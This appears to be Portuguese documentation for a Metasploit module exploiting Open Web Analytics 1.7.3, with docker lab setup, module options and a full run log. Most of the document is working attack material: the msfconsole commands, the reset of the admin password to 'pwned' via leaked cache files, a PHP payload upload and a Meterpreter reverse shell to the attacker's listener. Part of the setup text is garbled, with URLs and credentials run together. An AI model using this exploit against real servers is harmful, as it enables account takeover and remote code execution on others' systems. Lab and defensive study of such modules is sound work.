
Open Web Analytics 1.7.3 - Execução Remota de Código
O Open Web Analytics (OWA) antes da versão 1.7.4 permite que um atacante remoto não autenticado obtenha informações confidenciais de usuários, que podem ser usadas para obter privilégios de administrador ao explorar hashes de cache. Isso ocorre porque arquivos gerados com '<?php (em vez da sequência "<?php pretendida) não são tratados pelo interpretador PHP.
Inicie uma instância vulnerável do OWA usando docker
docker compose up -ddocker-compose.yml
http://127.0.0.1/docker inspect <db-container> e obtenha o IPAddress, ex.: )172.22.0.23306owaowaDemo12+#http://127.0.0.1admin[email protected]Demo12+#Inicie o msfconsole
use exploit/multi/http/open_web_analytics_rce
set RHOSTS 127.0.0.1
set RPORT 80
set SSL false
set LHOST 172.22.0.1 -> este precisa ser o IP da bridge criada com o comando docker compose up -d
check
run
Ao explorar o alvo, a senha do usuário atacado será substituída por esta senha.
O usuário que será alvo deste exploit.
O exploit funciona recuperando um valor temp_passkey de um arquivo de cache que é criado para cada usuário ao tentar fazer login com ele.
Como o diretório /owa-data/caches/ é publicamente acessível, podemos recuperar esses arquivos de cache. O caminho exato para os arquivos de cache
depende do user_id e pode ser calculado com ele. Esta opção define quantos caminhos calculados, começando de 0, devem ser
verificados em busca de arquivos de cache com o valor temp_passkey nele.
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run
[*] Started reverse TCP handler on 172.22.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!
meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >